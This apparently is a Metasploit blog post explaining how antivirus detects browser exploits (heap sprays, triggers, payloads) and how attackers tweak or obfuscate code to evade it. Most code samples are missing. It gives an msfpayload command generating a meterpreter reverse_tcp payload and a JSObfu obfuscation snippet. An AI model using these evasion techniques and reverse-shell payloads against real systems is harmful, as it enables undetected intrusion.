This post is the twelfth, and last, in a series, 12 Days of HaXmas, where we take a look at some of the more notable advancements in the Metasploit Framework over the course of 2013.

In the final episode of 12 Days of HaXmas, we'll talk about the holy war between browser exploits vs antivirus. It will sound a little biased from time to time, but note that It is not meant to compare who is better -- I don't have the resources to compare the entire matrix of AV solutions, only what's easily accessible by the average population. So, please don't read this like it's a full-blown, multi-million dollar research paper. It's just a blog. I can only discuss this from my own perspective - that is, me as an open source hacking tool provider, and my audience as the users - enjoy!

Antivirus evasion is always a cat and mouse game, there is no argument about that. Whatever you do as an attacker, the talented engineers and researchers on the defense side will eventually solve the problems. And then you come up with something new, and the fight goes on until one of us retires. Take Metasploit for example, we offer several features that can be used (or are used) to bypass AV, and this is what's currently happening:

Techniques Effectiveness
Apache Template used by Windows meterpreter

Heavily flagged by most AV.

msfencode Decoding stub can be flagged by most AV.
Encode more? Popular AVs should still be able to flag it.
Custom template + encode more?? Popular AVs should still be able to flag it.
ObfuscateJS Ineffective against some AVs.
JSObfu Ineffective against some AVs.
Specific exploit writing style Undetected for a few days, but good luck keeping it that way.
Other commercial-level AV evasion technologies Not covered in this blog.
Whatever evasion techniques you've made public AV will most likely flag them.

Does it look kind of depressing? Yes. However, a wise man once said "if you know your enemies and know yourself, you will not be imperiled in a hundred battles; if you do not know your enemies but do know yourself, you will win one and lose one; if you do not know your enemies nor yourself, you will be imperiled in every single battle." So as an attacker, it's rather important to understand your own strength. You probably also just noticed I said "evasion techniques you've made PUBLIC," because the truth is, attacks should be made to be felt, not seen (my Yoda moment). And this also brings up the "secret" rule about Fight Club: "The first rule of Fight Club is you do NOT talk about Fight Club." You see, my man Tyler Durden just schooled you about cyber wars.

But hey, we are Metasploit, so it's our job to keep everything as frank and open as possible. We are the opposite of Fight Club.

Let There be Light

Despite all the wonderful countermeasures AVs offer, they are still made by humans. What tends to happen is that AVs will only do just enough to make sure a malicious code is detectable. I can't speak for ALL antivirus out there (again, time and resources), but generally speaking these tend to be the places AVs look for in a browser exploit because they're commonly seen, and I'll try to briefly explain each:

  • Heap spray routine
  • Trigger for the vulnerability
  • Payload

Heap Spray That Gets Flagged

Often browser exploits take advantage of some sort of memory corruption, for example: a heap-based overflow, or a use-after-free. And the "heap-spray" exploitation technique is used to prepare a specific memory layout to place the payload at a predicable place, and/or used to leverage an information leak that allows the exploit to read something in memory. There are plenty of ways a heap spray can be done: with images, with Javascript, ActionScript, or whatever. As long as something allocates memory on the heap (with user-controlled size and data), it is a good candidate for heap spraying. A typical spray looks something like this:

For a quick demonstration, I saved the above Javascript as i_am_harmless.html, and then uploaded to VirusTotal. See results:

So I got flagged, ain't no thing. What actually gets flagged in the code is kind of product-specific, but I'll pick Avast as an example because this is a pretty popular product. To find the specific lines that get flagged, we can use the "dsplit" technique. Basically this is a tool that splits data into chunks, and then you let the AV scan these chunks to identify which ones get flagged, whatever gets flagged is where the AV signature looks for, and that's what you should modify. You can use the same concept to find signatures for browser exploits.

For Avast (and apparently, McAfee picks this up too), it specifically looks for the following code in the above Javascript - results here:

How difficult is it to make two lines undetectable, right?:

As of now, the above code will not be flagged by AVs, results can be found here. It's a very basic example on how exploits can bypass AVs, but should be enough to make a point. However, not all memory corruption based exploits need heap spraying. In the case of a use-after-free, if you have precise control of the memory release, the invalid use, you don't have to spray... well, at least no more than 18 1 times: 18 consecutive times to make sure a specific allocation size is enabled, the 1 to actually overwrite the freed memory right after that happens. Stuff like this is still pretty hard to detect, here's an example (i_am_kinda_harmless.html):

The above code would look malicious in the eyes of an exploit developer, but not for an antivirus:

In case you're wondering why this would be malicious, it's because:

  • In function lfh(), the image object creates a specific size on the heap, and then the appendChild() calls in the loop will keep these allocations.
  • In function overwrite(), when you assign something to the className property, you also trigger a heap allocation. If you're really curious, you can read this tutorial about "DOM Element Property Spray" by Peter Van Eeckhoutte, same idea (and callstack, even).
  • When you put these routines in the right order (see main() function), the malicious intend stands out. It's pretty difficult for AVs to catch this behavior, so you'd kind of have to hope they catch something else in the code, like the trigger.

Trigger That Gets Flagged

A "trigger" is code that triggers the vulnerability, which implies triggers are bug-specific. There are a few ways your trigger wouldn't be detected:

  • It's an 0day, there is no perfect and universal solution to find them all.
  • There is more than one way to trigger the bug. For example: use-after-frees are commonly triggered by one or more event handlers, sometimes one is flagged but you still have other options available. Same with how you create an object, how you free, etc.
  • Obfuscation.
  • Modify a few keywords, and then you're done. This is so ridiculously easy, I'll use this one as an example.

The following code is part of MS12-063 (execCommand use-after-free). Originally I was testing against G DATA, and at the time (almost a year ago) this is what it was flagging for the exploit:

However, G DATA actually wasn't the only one flagging this code. Others like Ad-Aware, BitDefender, Emsisoft, F-Secure, MicroWorld-eScan, nProtect also flagged it as an exploit:

Are you ready to know how to bypass this? Here's how:

And nobody picks it up again:

Payload That Gets Flagged

One thing you should know about browser exploit payloads getting flagged is that, well, most of the time they're not flagged :-) So this makes things a lot easier for us. Metasploit browser exploits are already using payloads that are encoded with x86/shikata_ga_nai in Javascript format (little endian), which is the equivalent of the following command:

msfpayload windows/meterpreter/reverse_tcp lhost=[IP] lport=[PORT] R |msfencode -t js_le  

When I uploaded the Javascript-based payload to VirusTotal, only two picked it up:

It's pretty easy to get around these two with the Rex::Exploitation::JSObfu API in Metasploit. The lazy me did something like this during the experiment:

msf > irb  
[*] Starting IRB shell...  
  
  
>> p = %Q| YOUR JAVASCRIPT PAYLOAD |  
>> Rex::Exploitation::JSObfu.new(p)  
>> js.obfuscate  
>> puts js  
... The obfuscated output will be generated ...  

And the obfuscated version bypassed both of them (Microsoft and Norman):

There's a little bit more to how AVs detect browser exploits. Another thing we haven't covered is the use of browser extensions to detect malicious pages at real time. There are also ways around them, but perhaps we'll share that experience with you next time. The moral of the story is that as you can see, AV evasion is a never-ending game. If your'e the user type, personally my take is it never hurts to learn how to code a little bit in your spare time, and modify a few lines of code in the exploit to get things smoothly when the time comes. And I promise you, it will come. After all, a tool is only as good as the skills of the craftsman/woman using it. If you are the developer type, now that you're more knowledgable about this cat and mouse game than ever, it is up to you to decide which side you want to contribute (offensive or defensive), and make the world a little better.